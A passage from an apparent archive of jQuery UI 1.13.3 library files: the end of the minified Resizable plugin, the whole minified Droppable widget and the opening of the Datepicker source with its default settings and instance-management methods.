i=z(this).resizable("instance"),e=i.options,s=i.containerOffset,h=i.position,t=i._aspectRatio||t.shiftKey,n={top:0,left:0},o=i.containerElement,a=!0;o[0]!==document&&/static/.test(o.css("position"))&&(n=s),h.left<(i._helper?s.left:0)&&(i.size.width=i.size.width+(i._helper?i.position.left-s.left:i.position.left-n.left),t&&(i.size.height=i.size.width/i.aspectRatio,a=!1),i.position.left=e.helper?s.left:0),h.top<(i._helper?s.top:0)&&(i.size.height=i.size.height+(i._helper?i.position.top-s.top:i.position.top),t&&(i.size.width=i.size.height*i.aspectRatio,a=!1),i.position.top=i._helper?s.top:0),o=i.containerElement.get(0)===i.element.parent().get(0),e=/relative|absolute/.test(i.containerElement.css("position")),o&&e?(i.offset.left=i.parentData.left+i.position.left,i.offset.top=i.parentData.top+i.position.top):(i.offset.left=i.element.offset().left,i.offset.top=i.element.offset().top),h=Math.abs(i.sizeDiff.width+(i._helper?i.offset.left-n.left:i.offset.left-s.left)),o=Math.abs(i.sizeDiff.height+(i._helper?i.offset.top-n.top:i.offset.top-s.top)),h+i.size.width>=i.parentData.width&&(i.size.width=i.parentData.width-h,t)&&(i.size.height=i.size.width/i.aspectRatio,a=!1),o+i.size.height>=i.parentData.height&&(i.size.height=i.parentData.height-o,t)&&(i.size.width=i.size.height*i.aspectRatio,a=!1),a||(i.position.left=i.prevPosition.left,i.position.top=i.prevPosition.top,i.size.width=i.prevSize.width,i.size.height=i.prevSize.height)},stop:function(){var t=z(this).resizable("instance"),i=t.options,e=t.containerOffset,s=t.containerPosition,h=t.containerElement,n=z(t.helper),o=n.offset(),a=n.outerWidth()-t.sizeDiff.width,n=n.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(h.css("position"))&&z(this).css({left:o.left-s.left-e.left,width:a,height:n}),t._helper&&!i.animate&&/static/.test(h.css("position"))&&z(this).css({left:o.left-s.left-e.left,width:a,height:n})}}),z.ui.plugin.add("resizable","alsoResize",{start:function(){var t=z(this).resizable("instance").options;z(t.alsoResize).each(function(){var t=z(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.css("width")),height:parseFloat(t.css("height")),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})})},resize:function(t,e){var i=z(this).resizable("instance"),s=i.options,h=i.originalSize,n=i.originalPosition,o={height:i.size.height-h.height||0,width:i.size.width-h.width||0,top:i.position.top-n.top||0,left:i.position.left-n.left||0};z(s.alsoResize).each(function(){var t=z(this),s=z(this).data("ui-resizable-alsoresize"),h={},i=t.parents(e.originalElement[0]).length?["width","height"]:["width","height","top","left"];z.each(i,function(t,i){var e=(s[i]||0)+(o[i]||0);e&&0<=e&&(h[i]=e||null)}),t.css(h)})},stop:function(){z(this).removeData("ui-resizable-alsoresize")}}),z.ui.plugin.add("resizable","ghost",{start:function(){var t=z(this).resizable("instance"),i=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),t._addClass(t.ghost,"ui-resizable-ghost"),!1!==z.uiBackCompat&&"string"==typeof t.options.ghost&&t.ghost.addClass(this.options.ghost),t.ghost.appendTo(t.helper)},resize:function(){var t=z(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=z(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),z.ui.plugin.add("resizable","grid",{resize:function(){var t,i=z(this).resizable("instance"),e=i.options,s=i.size,h=i.originalSize,n=i.originalPosition,o=i.axis,a="number"==typeof e.grid?[e.grid,e.grid]:e.grid,l=a[0]||1,r=a[1]||1,p=Math.round((s.width-h.width)/l)*l,s=Math.round((s.height-h.height)/r)*r,d=h.width+p,g=h.height+s,u=e.maxWidth&&e.maxWidth<d,c=e.maxHeight&&e.maxHeight<g,f=e.minWidth&&e.minWidth>d,m=e.minHeight&&e.minHeight>g;e.grid=a,f&&(d+=l),m&&(g+=r),u&&(d-=l),c&&(g-=r),/^(se|s|e)$/.test(o)?(i.size.width=d,i.size.height=g):/^(ne)$/.test(o)?(i.size.width=d,i.size.height=g,i.position.top=n.top-s):/^(sw)$/.test(o)?(i.size.width=d,i.size.height=g,i.position.left=n.left-p):((g-r<=0||d-l<=0)&&(t=i._getPaddingPlusBorderDimensions(this)),0<g-r?(i.size.height=g,i.position.top=n.top-s):(g=r-t.height,i.size.height=g,i.position.top=n.top+h.height-g),0<d-l?(i.size.width=d,i.position.left=n.left-p):(d=l-t.width,i.size.width=d,i.position.left=n.left+h.width-d))}}),z.ui.resizable}); jquery/ui/droppable.min.js 0000644 00000015011 15111757754 0011603 0 ustar 00 /*! * jQuery UI Droppable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./draggable","./mouse","../version","../widget"],e):e(jQuery)}(function(a){"use strict";function h(e,t,i){return t<=e&&e<t+i}return a.widget("ui.droppable",{version:"1.13.3",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e,t=this.options,i=t.accept;this.isover=!1,this.isout=!0,this.accept="function"==typeof i?i:function(e){return e.is(i)},this.proportions=function(){if(!arguments.length)return e=e||{width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};e=arguments[0]},this._addToManager(t.scope),t.addClasses&&this._addClass("ui-droppable")},_addToManager:function(e){a.ui.ddmanager.droppables[e]=a.ui.ddmanager.droppables[e]||[],a.ui.ddmanager.droppables[e].push(this)},_splice:function(e){for(var t=0;t<e.length;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var e=a.ui.ddmanager.droppables[this.options.scope];this._splice(e)},_setOption:function(e,t){var i;"accept"===e?this.accept="function"==typeof t?t:function(e){return e.is(t)}:"scope"===e&&(i=a.ui.ddmanager.droppables[this.options.scope],this._splice(i),this._addToManager(t)),this._super(e,t)},_activate:function(e){var t=a.ui.ddmanager.current;this._addActiveClass(),t&&this._trigger("activate",e,this.ui(t))},_deactivate:function(e){var t=a.ui.ddmanager.current;this._removeActiveClass(),t&&this._trigger("deactivate",e,this.ui(t))},_over:function(e){var t=a.ui.ddmanager.current;t&&(t.currentItem||t.element)[0]!==this.element[0]&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this._addHoverClass(),this._trigger("over",e,this.ui(t)))},_out:function(e){var t=a.ui.ddmanager.current;t&&(t.currentItem||t.element)[0]!==this.element[0]&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this._removeHoverClass(),this._trigger("out",e,this.ui(t)))},_drop:function(t,e){var i=e||a.ui.ddmanager.current,s=!1;return!(!i||(i.currentItem||i.element)[0]===this.element[0]||(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var e=a(this).droppable("instance");if(e.options.greedy&&!e.options.disabled&&e.options.scope===i.options.scope&&e.accept.call(e.element[0],i.currentItem||i.element)&&a.ui.intersect(i,a.extend(e,{offset:e.element.offset()}),e.options.tolerance,t))return!(s=!0)}),s)||!this.accept.call(this.element[0],i.currentItem||i.element))&&(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",t,this.ui(i)),this.element)},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}}),a.ui.intersect=function(e,t,i,s){if(!t.offset)return!1;var o=(e.positionAbs||e.position.absolute).left+e.margins.left,r=(e.positionAbs||e.position.absolute).top+e.margins.top,n=o+e.helperProportions.width,a=r+e.helperProportions.height,l=t.offset.left,p=t.offset.top,c=l+t.proportions().width,d=p+t.proportions().height;switch(i){case"fit":return l<=o&&n<=c&&p<=r&&a<=d;case"intersect":return l<o+e.helperProportions.width/2&&n-e.helperProportions.width/2<c&&p<r+e.helperProportions.height/2&&a-e.helperProportions.height/2<d;case"pointer":return h(s.pageY,p,t.proportions().height)&&h(s.pageX,l,t.proportions().width);case"touch":return(p<=r&&r<=d||p<=a&&a<=d||r<p&&d<a)&&(l<=o&&o<=c||l<=n&&n<=c||o<l&&c<n);default:return!1}},!(a.ui.ddmanager={current:null,droppables:{default:[]},prepareOffsets:function(e,t){var i,s,o=a.ui.ddmanager.droppables[e.options.scope]||[],r=t?t.type:null,n=(e.currentItem||e.element).find(":data(ui-droppable)").addBack();e:for(i=0;i<o.length;i++)if(!(o[i].options.disabled||e&&!o[i].accept.call(o[i].element[0],e.currentItem||e.element))){for(s=0;s<n.length;s++)if(n[s]===o[i].element[0]){o[i].proportions().height=0;continue e}o[i].visible="none"!==o[i].element.css("display"),o[i].visible&&("mousedown"===r&&o[i]._activate.call(o[i],t),o[i].offset=o[i].element.offset(),o[i].proportions({width:o[i].element[0].offsetWidth,height:o[i].element[0].offsetHeight}))}},drop:function(e,t){var i=!1;return a.each((a.ui.ddmanager.droppables[e.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&a.ui.intersect(e,this,this.options.tolerance,t)&&(i=this._drop.call(this,t)||i),!this.options.disabled)&&this.visible&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,t))}),i},dragStart:function(e,t){e.element.parentsUntil("body").on("scroll.droppable",function(){e.options.refreshPositions||a.ui.ddmanager.prepareOffsets(e,t)})},drag:function(o,r){o.options.refreshPositions&&a.ui.ddmanager.prepareOffsets(o,r),a.each(a.ui.ddmanager.droppables[o.options.scope]||[],function(){var e,t,i,s;this.options.disabled||this.greedyChild||!this.visible||(s=!(s=a.ui.intersect(o,this,this.options.tolerance,r))&&this.isover?"isout":s&&!this.isover?"isover":null)&&(this.options.greedy&&(t=this.options.scope,(i=this.element.parents(":data(ui-droppable)").filter(function(){return a(this).droppable("instance").options.scope===t})).length)&&((e=a(i[0]).droppable("instance")).greedyChild="isover"===s),e&&"isover"===s&&(e.isover=!1,e.isout=!0,e._out.call(e,r)),this[s]=!0,this["isout"===s?"isover":"isout"]=!1,this["isover"===s?"_over":"_out"].call(this,r),e)&&"isout"===s&&(e.isout=!1,e.isover=!0,e._over.call(e,r))})},dragStop:function(e,t){e.element.parentsUntil("body").off("scroll.droppable"),e.options.refreshPositions||a.ui.ddmanager.prepareOffsets(e,t)}})!==a.uiBackCompat&&a.widget("ui.droppable",a.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super(),this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super(),this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super(),this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super(),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}}),a.ui.droppable}); jquery/ui/datepicker.js 0000644 00000241133 15111757754 0011172 0 ustar 00 /* eslint-disable max-len, camelcase */ /*! * jQuery UI Datepicker 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Datepicker //>>group: Widgets //>>description: Displays a calendar from an input or inline for selecting dates. //>>docs: https://api.jqueryui.com/datepicker/ //>>demos: https://jqueryui.com/datepicker/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/datepicker.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../keycode" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.extend( $.ui, { datepicker: { version: "1.13.3" } } ); var datepicker_instActive; function datepicker_getZindex( elem ) { var position, value; while ( elem.length && elem[ 0 ] !== document ) { // Ignore z-index if position is set to a value where z-index is ignored by the browser // This makes behavior of this function consistent across browsers // WebKit always returns auto if the element is positioned position = elem.css( "position" ); if ( position === "absolute" || position === "relative" || position === "fixed" ) { // IE returns 0 when zIndex is not specified // other browsers return a string // we ignore the case of nested elements with an explicit value of 0 // <div style="z-index: -10;"><div style="z-index: 0;"></div></div> value = parseInt( elem.css( "zIndex" ), 10 ); if ( !isNaN( value ) && value !== 0 ) { return value; } } elem = elem.parent(); } return 0; } /* Date picker manager. Use the singleton instance of this class, $.datepicker, to interact with the date picker. Settings for (groups of) date pickers are maintained in an instance object, allowing multiple different settings on the same page. */ function Datepicker() { this._curInst = null; // The current instance in use this._keyEvent = false; // If the last event was a key event this._disabledInputs = []; // List of date picker inputs that have been disabled this._datepickerShowing = false; // True if the popup picker is showing , false if not this._inDialog = false; // True if showing within a "dialog", false if not this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class this._appendClass = "ui-datepicker-append"; // The name of the append marker class this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class this.regional = []; // Available regional settings, indexed by language code this.regional[ "" ] = { // Default regional settings closeText: "Done", // Display text for close link prevText: "Prev", // Display text for previous month link nextText: "Next", // Display text for next month link currentText: "Today", // Display text for current month link monthNames: [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ], // Names of months for drop-down and formatting monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ], // Column headings for days starting at Sunday weekHeader: "Wk", // Column header for week of the year dateFormat: "mm/dd/yy", // See format options on parseDate firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ... isRTL: false, // True if right-to-left language, false if left-to-right showMonthAfterYear: false, // True if the year select precedes month, false for month then year yearSuffix: "", // Additional text to append to the year in the month headers, selectMonthLabel: "Select month", // Invisible label for month selector selectYearLabel: "Select year" // Invisible label for year selector }; this._defaults = { // Global defaults for all the date picker instances showOn: "focus", // "focus" for popup on focus, // "button" for trigger button, or "both" for either showAnim: "fadeIn", // Name of jQuery animation for popup showOptions: {}, // Options for enhanced animations defaultDate: null, // Used when field is blank: actual date, // +/-number for offset from today, null for today appendText: "", // Display text following the input box, e.g. showing the format buttonText: "...", // Text for trigger button buttonImage: "", // URL for trigger button image buttonImageOnly: false, // True if the image appears alone, false if it appears on a button hideIfNoPrevNext: false, // True to hide next/previous month links // if not applicable, false to just disable them navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links gotoCurrent: false, // True if today link goes back to current selection instead changeMonth: false, // True if month can be selected directly, false if only prev/next changeYear: false, // True if year can be selected directly, false if only prev/next yearRange: "c-10:c+10", // Range of years to display in drop-down, // either relative to today's year (-nn:+nn), relative to currently displayed year // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n) showOtherMonths: false, // True to show dates in other months, false to leave blank selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable showWeek: false, // True to show week of the year, false to not show it calculateWeek: this.iso8601Week, // How to calculate the week of the year, // takes a Date and returns the number of the week for it shortYearCutoff: "+10", // Short year values < this are in the current century, // > this are in the previous century, // string value starting with "+" for current year + value minDate: null, // The earliest selectable date, or null for no limit maxDate: null, // The latest selectable date, or null for no limit duration: "fast", // Duration of display/closure beforeShowDay: null, // Function that takes a date and returns an array with // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "", // [2] = cell title (optional), e.g. $.datepicker.noWeekends beforeShow: null, // Function that takes an input field and // returns a set of custom settings for the date picker onSelect: null, // Define a callback function when a date is selected onChangeMonthYear: null, // Define a callback function when the month or year is changed onClose: null, // Define a callback function when the datepicker is closed onUpdateDatepicker: null, // Define a callback function when the datepicker is updated numberOfMonths: 1, // Number of months to show at a time showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0) stepMonths: 1, // Number of months to step back/forward stepBigMonths: 12, // Number of months to step back/forward for the big links altField: "", // Selector for an alternate field to store selected dates into altFormat: "", // The date format to use for the alternate field constrainInput: true, // The input is constrained by the current date format showButtonPanel: false, // True to show button panel, false to not show it autoSize: false, // True to size the input for the date format, false to leave as is disabled: false // The initial disabled state }; $.extend( this._defaults, this.regional[ "" ] ); this.regional.en = $.extend( true, {}, this.regional[ "" ] ); this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en ); this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ); } $.extend( Datepicker.prototype, { /* Class name added to elements to indicate already configured with a date picker. */ markerClassName: "hasDatepicker", //Keep track of the maximum number of rows displayed (see #7043) maxRows: 4, // TODO rename to "widget" when switching to widget factory _widgetDatepicker: function() { return this.dpDiv; }, /* Override the default settings for all instances of the date picker. * @param settings object - the new settings to use as defaults (anonymous object) * @return the manager object */ setDefaults: function( settings ) { datepicker_extendRemove( this._defaults, settings || {} ); return this; }, /* Attach the date picker to a jQuery selection. * @param target element - the target input field or division or span * @param settings object - the new settings to use for this date picker instance (anonymous) */ _attachDatepicker: function( target, settings ) { var nodeName, inline, inst; nodeName = target.nodeName.toLowerCase(); inline = ( nodeName === "div" || nodeName === "span" ); if ( !target.id ) { this.uuid += 1; target.id = "dp" + this.uuid; } inst = this._newInst( $( target ), inline ); inst.settings = $.extend( {}, settings || {} ); if ( nodeName === "input" ) { this._connectDatepicker( target, inst ); } else if ( inline ) { this._inlineDatepicker( target, inst ); } }, /* Create a new instance object. */ _newInst: function( target, inline ) { var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars return { id: id, input: target, // associated target selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection drawMonth: 0, drawYear: 0, // month being drawn inline: inline, // is datepicker inline or not dpDiv: ( !inline ? this.dpDiv : // presentation div datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) }; }, /* Attach the date picker to an input field. */ _connectDatepicker: function( target, inst ) { var input = $( target ); inst.append = $( [] ); inst.trigger = $( [] ); if ( input.hasClass( this.markerClassName ) ) { return; } this._attachments( input, inst ); input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ). on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp ); this._autoSize( inst ); $.data( target, "datepicker", inst ); //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665) if ( inst.settings.disabled ) { this._disableDatepicker( target ); } }, /* Make attachments based on settings. */ _attachments: function( input, inst ) { var showOn, buttonText, buttonImage, appendText = this._get( inst, "appendText" ), isRTL = this._get( inst, "isRTL" ); if ( inst.append ) { inst.append.remove(); } if ( appendText ) { inst.append = $( "<span>" ) .addClass( this._appendClass ) .text( appendText ); input[ isRTL ? "before" : "after" ]( inst.append ); } input.off( "focus", this._showDatepicker ); if ( inst.trigger ) { inst.trigger.remove(); } showOn = this._get( inst, "showOn" ); if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field input.on( "focus", this._showDatepicker ); } if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked buttonText = this._get( inst, "buttonText" ); buttonImage = this._get( inst, "buttonImage" ); if ( this._get( inst, "buttonImageOnly" ) ) { inst.trigger = $( "<img>" ) .addClass( this._triggerClass ) .attr( { src: buttonImage, alt: buttonText, title: buttonText } ); } else { inst.trigger = $( "<button type='button'>" ) .addClass( this._triggerClass ); if ( buttonImage ) { inst.trigger.html( $( "<img>" ) .attr( { src: buttonImage, alt: buttonText, title: buttonText } ) ); } else { inst.trigger.text( buttonText ); } } input[ isRTL ? "before" : "after" ]( inst.trigger ); inst.trigger.on( "click", function() { if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) { $.datepicker._hideDatepicker(); } else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) { $.datepicker._hideDatepicker(); $.datepicker._showDatepicker( input[ 0 ] ); } else { $.datepicker._showDatepicker( input[ 0 ] ); } return false; } ); } }, /* Apply the maximum length for the date format. */ _autoSize: function( inst ) { if ( this._get( inst, "autoSize" ) && !inst.inline ) { var findMax, max, maxI, i, date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits dateFormat = this._get( inst, "dateFormat" ); if ( dateFormat.match( /[DM]/ ) ) { findMax = function( names ) { max = 0; maxI = 0; for ( i = 0; i < names.length; i++ ) { if ( names[ i ].length > max ) { max = names[ i ].length; maxI = i; } } return maxI; }; date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ? "monthNames" : "monthNamesShort" ) ) ) ); date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ? "dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() ); } inst.input.attr( "size", this._formatDate( inst, date ).length ); } }, /* Attach an inline date picker to a div. */ _inlineDatepicker: function( target, inst ) { var divSpan = $( target ); if ( divSpan.hasClass( this.markerClassName ) ) { return; } divSpan.addClass( this.markerClassName ).append( inst.dpDiv ); $.data( target, "datepicker", inst ); this._setDate( inst, this._getDefaultDate( inst ), true ); this._updateDatepicker( inst ); this._updateAlternate( inst ); //If disabled option is true, disable the datepicker before showing it (see ticket #5665) if ( inst.settings.disabled ) { this._disableDatepicker( target ); } // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements // https://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height inst.dpDiv.css( "display", "block" ); }, /* Pop-up the date picker in a "dialog" box. * @param input element - ignored * @param date string or Date - the initial date to display * @param onSelect function - the function to call when a date is selected * @param settings object - update the dialog date picker instance's settings (anonymous object) * @param pos int[2] - coordinates for the dialog's position within the screen or * event - with x/y coordinates or * leave empty for default (screen centre) * @return the manager object */ _dialogDatepicker: function( input, date, onSelect, settings, pos ) { var id, browserWidth, browserHeight, scrollX, scrollY, inst = this._dialogInst; // internal instance if ( !inst ) { this.uuid += 1; id = "dp" + this.uuid; this._dialogInput = $( "<input type='text' id='" + id + "' style='position: absolute; top: -100px; width: 0px;'/>" ); this._dialogInput.on( "keydown", this._doKeyDown ); $( "body" ).append( this._dialogInput ); inst = this._dialogInst = this._newInst( this._dialogInput, false ); inst.settings = {}; $.data( this._dialogInput[ 0 ], "datepicker", inst ); } datepicker_extendRemove( inst.settings, settings || {} ); date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date ); this._dialogInput.val( date ); this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null ); if ( !this._pos ) { browserWidth = document.documentElement.clientWidth; browserHeight = document.documentElement.clientHeight; scrollX = document.documentElement.scrollLeft || document.body.scrollLeft; scrollY = document.documentElement.scrollTop || document.body.scrollTop; this._pos = // should use actual width/height below [ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ]; } // Move input on screen for focus, but hidden behind dialog this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" ); inst.settings.onSelect = onSelect; this._inDialog = true; this.dpDiv.addClass( this._dialogClass ); this._showDatepicker( this._dialogInput[ 0 ] ); if ( $.blockUI ) { $.blockUI( this.dpDiv ); } $.data( this._dialogInput[ 0 ], "datepicker", inst ); return this; }, /* Detach a datepicker from its control. * @param target element - the target input field or division or span */ _destroyDatepicker: function( target ) { var nodeName, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); $.removeData( target, "datepicker" ); if ( nodeName === "input" ) { inst.append.remove(); inst.trigger.remove(); $target.removeClass( this.markerClassName ). off( "focus", this._showDatepicker ). off( "keydown", this._doKeyDown ). off( "keypress", this._doKeyPress ). off( "keyup", this._doKeyUp ); } else if ( nodeName === "div" || nodeName === "span" ) { $target.removeClass( this.markerClassName ).empty(); } if ( datepicker_instActive === inst ) { datepicker_instActive = null; this._curInst = null; } }, /* Enable the date picker to a jQuery selection. * @param target element - the target input field or division or span */ _enableDatepicker: function( target ) { var nodeName, inline, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); if ( nodeName === "input" ) { target.disabled = false; inst.trigger.filter( "button" ). each( function() { this.disabled = false; } ).end(). filter( "img" ).css( { opacity: "1.0", cursor: "" } ); } else if ( nodeName === "div" || nodeName === "span" ) { inline = $target.children( "." + this._inlineClass ); inline.children().removeClass( "ui-state-disabled" ); inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). prop( "disabled", false ); } this._disabledInputs = $.map( this._disabledInputs, // Delete entry function( value ) { return ( value === target ? null : value ); } ); }, /* Disable the date picker to a jQuery selection. * @param target element - the target input field or division or span */ _disableDatepicker: function( target ) { var nodeName, inline, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); if ( nodeName === "input" ) { target.disabled = true; inst.trigger.filter( "button" ). each( function() { this.disabled = true; } ).end(). filter( "img" ).css( { opacity: "0.5", cursor: "default" } ); } else if ( nodeName === "div" || nodeName === "span" ) { inline = $target.children( "." + this._inlineClass ); inline.children().addClass( "ui-state-disabled" ); inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). prop( "disabled", true ); } this._disabledInputs = $.map( this._disabledInputs, // Delete entry function( value ) { return ( value === target ? null : value ); } ); this._disabledInputs[ this._disabledInputs.length ] = target; }, /* Is the first field in a jQuery collection disabled as a datepicker? * @param target element - the target input field or division or span * @return boolean - true if disabled, false if enabled */ _isDisabledDatepicker: function( target ) { if ( !target ) { return false; } for ( var i = 0; i < this._disabledInputs.length; i++ ) { if ( this._disabledInputs[ i ] === target ) { return true; } } return false; }, /* Retrieve the instance data for the target control. * @param target element - the target input field or division or span * @return object - the associated instance data * @throws error if a jQuery problem getting data */ _getInst: function( target ) { try { return $.data( target, "datepicker" ); } catch ( err ) { throw "Missing instance data for this datepicker"; } }, /* Update or retrieve the settings for a date picker attached to an input field or division. * @param target element - the target input field or division or span * @param name object - the new settings to update or * string - the name of the setting to change or retrieve, * when retrieving also "all" for all instance settings or * "defaults" for all global defaults * @param value any - the new value for the setting * (omit if above is an object or to retrieve a value) */ _optionDatepicker: function( target, name, value ) { var settings, date, minDate, maxDate, inst = this._getInst( target ); if ( arguments.length === 2 && typeof name === "string" ) { return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) : ( inst ? ( name === "all" ? $.extend( {}, inst.settings ) : this._get( inst, name ) ) : null ) ); } settings = name || {}; if ( typeof name === "string" ) { settings = {}; settings[ name ] = value; } if ( inst ) { if ( this._curInst === inst ) { this._hideDatepicker(); } date = this._getDateDatepicker( target, true ); minDate = this._getMinMaxDate( inst, "min" ); maxDate = this._getMinMaxDate( inst, "max" ); datepicker_extendRemove( inst.settings, settings ); // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) { inst.settings.minDate = this._formatDate( inst, minDate ); } if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) { inst.settings.maxDate = this._formatDate( inst, maxDate ); } if ( "disabled" in settings ) { if ( settings.disabled ) { this._disableDatepicker( target ); } else { this._enableDatepicker( target ); } } this._attachments( $( target ), inst ); this._autoSize( inst ); this._setDate( inst, date ); this._updateAlternate( inst ); this._updateDatepicker( inst ); } }, // Change method deprecated _changeDatepicker: function( target, name, value ) { this._optionDatepicker( target, name, value ); }, /* Redraw the date picker attached to an input field or division. * @param target element - the target input field or division or span */ _refreshDatepicker: function( target ) { var inst = this._getInst( target ); if ( inst ) { this._updateDatepicker( inst ); } }, /* Set the dates for a jQuery selection. * @param target element - the target input field or division or span * @param date Date - the new date */ _setDateDatepicker: function( target, date ) { var inst = this._getInst( target ); if ( inst ) { this._setDate( inst, date ); this._updateDatepicker( inst ); this._updateAlternate( inst ); } }, /* Get the date(s) for the first entry in a jQuery selection. * @param target element - the target input field or division or span * @param noDefault boolean - true if no default date is to be used * @return Date - the current date */ _getDateDatepicker: function( target, noDefault ) { var inst = this._getInst( target ); if ( inst && !inst.inline ) { this._setDateFromField( inst, noDefault ); } return ( inst ? this._getDate( inst ) : null ); }, /* Handle keystrokes. */ _doKeyDown: function( event ) { var onSelect, dateStr, sel, inst = $.datepicker._getInst( event.target ), handled = true, isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" ); inst._keyEvent = true; if ( $.datepicker._datepickerShowing ) { switch ( event.keyCode ) { case 9: $.datepicker._hideDatepicker(); handled = false; break; // hide on tab out case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." + $.datepicker._currentClass + ")", inst.dpDiv ); if ( sel[ 0 ] ) { $.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] ); } onSelect = $.datepicker._get( inst, "onSelect" ); if 